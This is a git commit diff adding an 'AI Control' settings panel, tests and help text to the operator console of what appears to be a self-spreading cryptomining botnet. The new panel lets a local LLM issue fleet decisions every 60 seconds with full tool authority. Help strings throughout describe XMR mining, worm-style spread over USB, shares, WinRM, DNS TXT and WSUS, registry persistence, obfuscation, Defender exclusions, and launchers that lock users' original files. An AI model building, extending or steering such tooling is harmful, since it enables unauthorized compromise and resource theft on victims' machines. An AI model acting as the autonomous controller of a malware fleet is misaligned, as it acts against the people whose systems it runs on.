Add Calibrate AI Control UI and fleet LLM backend wiring.
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Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
This commit is contained in:
AetherForge
@@ -237,6 +237,7 @@ describe('api client', () => {
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.mockResolvedValueOnce(jsonResponse([]))
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.mockResolvedValueOnce(jsonResponse([]))
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.mockResolvedValueOnce(jsonResponse([]))
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.mockResolvedValueOnce(jsonResponse({ models: ['llama3.2'] }))
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.mockResolvedValueOnce(jsonResponse({ xmr_per_day: 0.01, usd_per_day: 1, network_hashrate: 1 }))
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.mockResolvedValueOnce(jsonResponse({ success: true }))
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.mockResolvedValueOnce(jsonResponse({ agent_id: 'a1', content: 'log' }))
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@@ -253,6 +254,9 @@ describe('api client', () => {
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await api.getAIActivity();
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expect(lastFetch().url).toBe('/api/v1/ai/activity');
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await api.getAIModels('http://127.0.0.1:11434/v1');
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expect(lastFetch().url).toBe('/api/v1/ai/models?endpoint=http%3A%2F%2F127.0.0.1%3A11434%2Fv1');
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await api.getEarningsEstimate(1234.5);
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expect(lastFetch().url).toBe('/api/v1/earnings/estimate?hashrate=1234.5');
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176
server/web/src/components/CalibrationAIControl.tsx
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176
server/web/src/components/CalibrationAIControl.tsx
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@@ -0,0 +1,176 @@
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import { useState } from 'react';
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import type { ServerSettings } from '../types';
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import { api } from '../api/client';
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import { HelpTip, FieldHint } from './HelpTip';
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import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers';
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export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1';
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export const DEFAULT_AI_INTERVAL_SEC = 60;
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function readEndpoint(server: ServerSettings): string {
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return server.ai_endpoint?.trim() || server.ai_local_endpoint?.trim() || DEFAULT_AI_LOCAL_ENDPOINT;
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}
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function readIntervalSec(server: ServerSettings): number {
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return server.ai_decision_interval_sec ?? server.ai_interval_sec ?? DEFAULT_AI_INTERVAL_SEC;
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}
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interface Props {
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server: ServerSettings;
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onUpdate: (path: string, value: unknown) => void;
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}
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export default function CalibrationAIControl({ server, onUpdate }: Props) {
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const aiControl = server.ai_control_enabled ?? false;
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const endpoint = readEndpoint(server);
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const model = server.ai_model?.trim() || '';
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const intervalSec = readIntervalSec(server);
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const [models, setModels] = useState<string[]>([]);
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const [refreshing, setRefreshing] = useState(false);
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const [modelsMsg, setModelsMsg] = useState('');
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const handleRefreshModels = async () => {
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setRefreshing(true);
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setModelsMsg('');
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try {
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const res = await api.getAIModels(endpoint);
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setModels(res.models ?? []);
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if (!res.models?.length) {
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setModelsMsg(res.error || 'No models returned — is Ollama running?');
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} else {
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setModelsMsg(`${res.models.length} model(s) loaded`);
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if (!model && res.models[0]) {
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onUpdate('server.ai_model', res.models[0]);
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}
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}
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} catch (e) {
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setModels([]);
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setModelsMsg(e instanceof Error ? e.message : 'Failed to refresh models');
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} finally {
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setRefreshing(false);
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}
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};
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return (
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<div className="calibration-ai-control">
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<div
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className="calibration-mode-toggle"
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role="group"
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aria-label="Calibration control mode"
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>
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<button
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type="button"
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className={`calibration-mode-btn ${!aiControl ? 'calibration-mode-btn--active' : ''}`}
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aria-pressed={!aiControl}
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onClick={() => onUpdate('server.ai_control_enabled', false)}
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>
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<span className="calibration-mode-label">Logic gates</span>
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<span className="calibration-mode-sub">Adaptive strategy & tier chains</span>
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</button>
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<button
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type="button"
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className={`calibration-mode-btn ${aiControl ? 'calibration-mode-btn--active' : ''}`}
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aria-pressed={aiControl}
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onClick={() => onUpdate('server.ai_control_enabled', true)}
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>
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<span className="calibration-mode-label">AI Control</span>
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<span className="calibration-mode-sub">Local LLM fleet decisions</span>
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</button>
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</div>
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{aiControl ? (
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<div className="calibration-ai-panel">
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<p className="section-desc calibration-ai-blurb">
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Fleet AI issues <strong>stateless</strong> decisions every {intervalSec}s per agent — no memory
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between cycles. The control server calls your local LLM; agents execute tool calls on{' '}
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<em>your</em> machines only. Complete fleet control stays on your LAN.
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</p>
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<div className="form-group">
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<label htmlFor="cal-ai-endpoint" className="label">
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Local API URL <HelpTip field="ai_local_endpoint" />
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</label>
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<input
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id="cal-ai-endpoint"
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type="url"
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className="input mono"
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value={endpoint}
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placeholder={DEFAULT_AI_LOCAL_ENDPOINT}
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onChange={(e) => onUpdate('server.ai_endpoint', e.target.value)}
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/>
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<FieldHint field="ai_local_endpoint" />
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</div>
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<div className="form-row calibration-ai-model-row">
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<button
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type="button"
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className="btn btn-outline btn-sm"
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disabled={refreshing}
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onClick={handleRefreshModels}
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>
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{refreshing ? 'Refreshing…' : 'Refresh models'}
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</button>
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<div className="form-group" style={{ flex: 1, margin: 0 }}>
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<label htmlFor="cal-ai-model" className="label">
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Model <HelpTip field="calibration_ai_model" />
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</label>
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<select
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id="cal-ai-model"
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className="input"
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value={model}
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onChange={(e) => onUpdate('server.ai_model', e.target.value)}
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>
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<option value="">{models.length ? 'Select a model…' : 'Refresh models first'}</option>
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{model && !models.includes(model) && (
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<option value={model}>{model}</option>
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)}
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{models.map((m) => (
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<option key={m} value={m}>{m}</option>
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))}
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</select>
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</div>
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</div>
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{modelsMsg && (
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<p className="form-hint calibration-ai-models-msg">{modelsMsg}</p>
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)}
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<div className="calibration-ai-meta">
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<div className="calibration-ai-info-chip">
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<span className="font-tech">ai_no_context</span>
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<span className="calibration-ai-info-value">always on</span>
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<HelpTip field="ai_no_context" />
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</div>
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<div className="calibration-ai-info-chip">
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<span className="font-tech">Interval</span>
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<span className="calibration-ai-info-value">{intervalSec}s per agent</span>
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<HelpTip field="ai_interval_sec" />
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</div>
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</div>
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</div>
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) : (
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<div className="calibration-logic-panel">
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<p className="section-desc">{ADAPTIVE_STRATEGY_HELP}</p>
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<FieldHint field="adaptive_strategy" />
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<FieldHint field="lotl_onion_tiers" />
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<div className="form-group checkbox-group" style={{ marginTop: '1rem' }}>
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<label className="checkbox-label">
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<input
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type="checkbox"
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className="checkbox"
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checked={server.adaptive_strategy_enabled !== false}
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onChange={(e) => onUpdate('server.adaptive_strategy_enabled', e.target.checked)}
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/>
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<span>Enable adaptive strategy engine <HelpTip field="adaptive_strategy" /></span>
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</label>
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</div>
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{server.lotl_onion_tiers?.length ? (
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<p className="form-hint" style={{ marginTop: '0.75rem' }}>
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Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
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</p>
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) : null}
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</div>
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)}
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</div>
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);
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}
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@@ -18,6 +18,8 @@ const HELP_TIP_FIELDS = [
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'registry_run_hklm', 'registry_explorer_run', 'fusion_enabled', 'fusion_prep',
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'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
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'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
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'calibration_ai_control', 'ai_local_endpoint', 'calibration_ai_model', 'ai_no_context', 'ai_interval_sec',
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'adaptive_strategy', 'lotl_onion_tiers',
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'forge_operation_mode', 'forge_path_forge',
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'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
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'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',
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@@ -82,6 +82,13 @@ export const DOC_ANCHORS: Record<string, string> = {
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ai_enabled: '/docs/#alerts-ai',
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ai_ollama_endpoint: '/docs/#alerts-ai',
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ai_model: '/docs/#alerts-ai',
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calibration_ai_control: '/docs/#alerts-ai',
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ai_local_endpoint: '/docs/#alerts-ai',
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calibration_ai_model: '/docs/#alerts-ai',
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ai_no_context: '/docs/#alerts-ai',
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ai_interval_sec: '/docs/#alerts-ai',
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adaptive_strategy: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
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lotl_onion_tiers: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
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// Crucible / agent remote
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firewall_remote: '/docs/#crucible-ops',
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@@ -96,6 +96,11 @@ describe('FIELD_HELP', () => {
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'log_pool_traffic',
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'adapt_to_hardware',
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'adaptive_strategy',
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'calibration_ai_control',
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'ai_local_endpoint',
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'calibration_ai_model',
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'ai_no_context',
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'ai_interval_sec',
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'self_healing',
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'firewall_exclusion',
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'firewall_remote',
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@@ -29,9 +29,19 @@ export const FIELD_HELP: Record<string, string> = {
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forge_lotl_onion:
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'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
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adaptive_strategy:
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'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
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'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
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lotl_onion_tiers:
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'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
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calibration_ai_control:
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'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
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ai_local_endpoint:
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'Local OpenAI-compatible or Ollama API base URL on the control server machine (default http://127.0.0.1:11434/v1). The hub lists models and calls the LLM — workers never talk to Ollama directly.',
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calibration_ai_model:
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'LLM model name for fleet AI Control (Calibrate). Click Refresh models after Ollama is running, then pick from the dropdown. Distinct from per-forge ai_model baked into installers.',
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ai_no_context:
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'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
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ai_interval_sec:
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'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
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forge_path_forge:
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'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
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forge_recommended_defaults:
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@@ -1300,6 +1300,102 @@ button.deliverable-card .form-hint {
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margin-right: 4px;
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}
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/* Calibrate — Logic gates ↔ AI Control */
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.calibration-mode-toggle {
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display: grid;
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grid-template-columns: 1fr 1fr;
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gap: 0.65rem;
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margin: 1rem 0 1.25rem;
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}
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.calibration-mode-btn {
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display: flex;
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flex-direction: column;
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align-items: flex-start;
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gap: 0.35rem;
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padding: 1rem 1.15rem;
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border-radius: 10px;
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border: 1px solid var(--border-brass);
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background: rgba(10, 10, 18, 0.65);
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color: var(--text-secondary);
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cursor: pointer;
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text-align: left;
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transition: border-color 0.2s ease, box-shadow 0.2s ease, background 0.2s ease;
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}
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.calibration-mode-btn:hover {
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border-color: rgba(0, 232, 245, 0.35);
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background: rgba(0, 232, 245, 0.04);
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}
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.calibration-mode-btn--active {
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border-color: rgba(232, 40, 168, 0.55);
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background: linear-gradient(145deg, rgba(232, 40, 168, 0.12) 0%, rgba(0, 232, 245, 0.06) 100%);
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color: var(--text-primary);
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box-shadow: 0 0 24px rgba(232, 40, 168, 0.15);
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}
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.calibration-mode-label {
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font-family: var(--font-tech);
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font-size: 1.05rem;
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letter-spacing: 0.06em;
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text-transform: uppercase;
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color: var(--neon-cyan);
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}
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.calibration-mode-btn--active .calibration-mode-label {
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color: var(--neon-magenta);
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}
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.calibration-mode-sub {
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font-size: 0.88rem;
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line-height: 1.35;
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}
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.calibration-ai-model-row {
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align-items: flex-end;
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gap: 0.75rem;
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margin-top: 0.75rem;
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}
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.calibration-ai-meta {
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display: flex;
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flex-wrap: wrap;
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gap: 0.65rem;
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margin-top: 1rem;
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}
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.calibration-ai-info-chip {
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display: inline-flex;
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align-items: center;
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gap: 0.45rem;
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padding: 0.45rem 0.75rem;
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border-radius: 8px;
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border: 1px solid var(--border-neon);
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background: rgba(0, 232, 245, 0.05);
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font-size: 0.85rem;
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}
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.calibration-ai-info-chip .font-tech {
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color: var(--neon-amber);
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font-size: 0.78rem;
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}
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.calibration-ai-info-value {
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color: var(--neon-green);
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}
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.calibration-ai-models-msg {
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margin-top: 0.35rem;
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color: var(--text-secondary);
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}
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@media (max-width: 640px) {
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.calibration-mode-toggle {
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grid-template-columns: 1fr;
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}
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}
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.forge-simple-banner {
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margin-bottom: 1rem;
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padding: 1rem 1.25rem;
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@@ -173,6 +173,51 @@ describe('SettingsPage (Calibrate)', () => {
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expect(saved?.server?.public_builds_latest_n).toBe(3);
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});
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it('renders Calibration Control mode toggle', async () => {
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renderSettings();
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expect(await screen.findByRole('group', { name: 'Calibration control mode' })).toBeInTheDocument();
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expect(screen.getByRole('button', { name: /Logic gates/i })).toBeInTheDocument();
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expect(screen.getByRole('button', { name: /AI Control/i })).toBeInTheDocument();
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expect(screen.getByText(/Adaptive strategy & tier chains/i)).toBeInTheDocument();
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expect(screen.getByText(/Enable adaptive strategy engine/i)).toBeInTheDocument();
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});
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it('switches to AI Control and refreshes models', async () => {
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const modelsSpy = vi.spyOn(api, 'getAIModels').mockResolvedValue({
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models: ['llama3.2', 'mistral'],
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endpoint: 'http://127.0.0.1:11434/v1',
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});
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const user = userEvent.setup();
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renderSettings();
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await screen.findByRole('button', { name: /AI Control/i });
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await user.click(screen.getByRole('button', { name: /AI Control/i }));
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expect(screen.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeInTheDocument();
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expect(screen.getByText(/ai_no_context/i)).toBeInTheDocument();
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expect(screen.getAllByText(/60s per agent/i).length).toBeGreaterThanOrEqual(1);
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await user.click(screen.getByRole('button', { name: 'Refresh models' }));
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await waitFor(() => {
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expect(modelsSpy).toHaveBeenCalledWith('http://127.0.0.1:11434/v1');
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});
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expect(await screen.findByText('2 model(s) loaded')).toBeInTheDocument();
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const modelSelect = screen.getByRole('combobox', { name: /Model/i }) as HTMLSelectElement;
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expect(modelSelect.value).toBe('llama3.2');
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});
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it('saves AI Control settings via updateConfig', async () => {
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const user = userEvent.setup();
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renderSettings();
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await screen.findByRole('button', { name: /AI Control/i });
|
||||
await user.click(screen.getByRole('button', { name: /AI Control/i }));
|
||||
await user.click(screen.getByRole('button', { name: /save calibration/i }));
|
||||
await waitFor(() => {
|
||||
expect(api.updateConfig).toHaveBeenCalled();
|
||||
});
|
||||
const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
|
||||
expect(saved?.server?.ai_control_enabled).toBe(true);
|
||||
expect(saved?.server?.ai_endpoint).toBe('http://127.0.0.1:11434/v1');
|
||||
expect(saved?.server?.ai_no_context).toBe(true);
|
||||
});
|
||||
|
||||
it('describes first-run admin credentials in Access Control help', async () => {
|
||||
renderSettings();
|
||||
expect(
|
||||
|
||||
@@ -34,6 +34,10 @@ import {
|
||||
buildDefenderExclusionScript,
|
||||
defaultWindowsInstallPreview,
|
||||
} from '../help/defenderExclusion';
|
||||
import CalibrationAIControl, {
|
||||
DEFAULT_AI_INTERVAL_SEC,
|
||||
DEFAULT_AI_LOCAL_ENDPOINT,
|
||||
} from '../components/CalibrationAIControl';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
@@ -182,7 +186,25 @@ export default function SettingsPage() {
|
||||
setSaving(true);
|
||||
setSaveMessage('');
|
||||
try {
|
||||
const updated = await api.updateConfig(config);
|
||||
let payload = config;
|
||||
if (config.server?.ai_control_enabled) {
|
||||
payload = {
|
||||
...config,
|
||||
server: {
|
||||
...config.server,
|
||||
ai_endpoint:
|
||||
config.server.ai_endpoint?.trim()
|
||||
|| config.server.ai_local_endpoint?.trim()
|
||||
|| DEFAULT_AI_LOCAL_ENDPOINT,
|
||||
ai_no_context: true,
|
||||
ai_decision_interval_sec:
|
||||
config.server.ai_decision_interval_sec
|
||||
?? config.server.ai_interval_sec
|
||||
?? DEFAULT_AI_INTERVAL_SEC,
|
||||
},
|
||||
};
|
||||
}
|
||||
const updated = await api.updateConfig(payload);
|
||||
setConfig(updated);
|
||||
setSaveMessage('Calibration saved — control server updated.');
|
||||
setTimeout(() => setSaveMessage(''), 4000);
|
||||
@@ -538,6 +560,20 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive calibration-ai-section" style={{ marginBottom: '1rem' }}>
|
||||
<h2 className="font-display">
|
||||
Calibration Control <HelpTip field="calibration_ai_control" />
|
||||
</h2>
|
||||
<p className="section-desc">
|
||||
Choose how the server steers fleet behavior — weighted logic gates or a local LLM loop.
|
||||
</p>
|
||||
<CalibrationAIControl
|
||||
server={s}
|
||||
onUpdate={updateField}
|
||||
/>
|
||||
<FieldHint field="calibration_ai_control" />
|
||||
</NeonCard>
|
||||
|
||||
<div className="settings-grid">
|
||||
<NeonCard accent="cyan" className="settings-section operator-deck-card operator-interactive">
|
||||
<h2 className="font-display">Deck Atmosphere</h2>
|
||||
|
||||
@@ -302,12 +302,16 @@ export interface ServerSettings {
|
||||
/** When true, Calibrate uses local LLM fleet control instead of logic gates. */
|
||||
ai_control_enabled?: boolean;
|
||||
/** OpenAI-compatible or Ollama base URL on the control PC. */
|
||||
ai_endpoint?: string;
|
||||
/** @deprecated Alias hydrated from legacy saves — prefer ai_endpoint. */
|
||||
ai_local_endpoint?: string;
|
||||
/** LLM model name for fleet AI control. */
|
||||
ai_model?: string;
|
||||
/** Stateless per-cycle decisions — no conversation memory. */
|
||||
ai_no_context?: boolean;
|
||||
/** Seconds between AI decision cycles per agent. */
|
||||
ai_decision_interval_sec?: number;
|
||||
/** @deprecated Alias hydrated from legacy saves — prefer ai_decision_interval_sec. */
|
||||
ai_interval_sec?: number;
|
||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||
triple_onion_policy?: {
|
||||
|
||||
Reference in New Issue
Block a user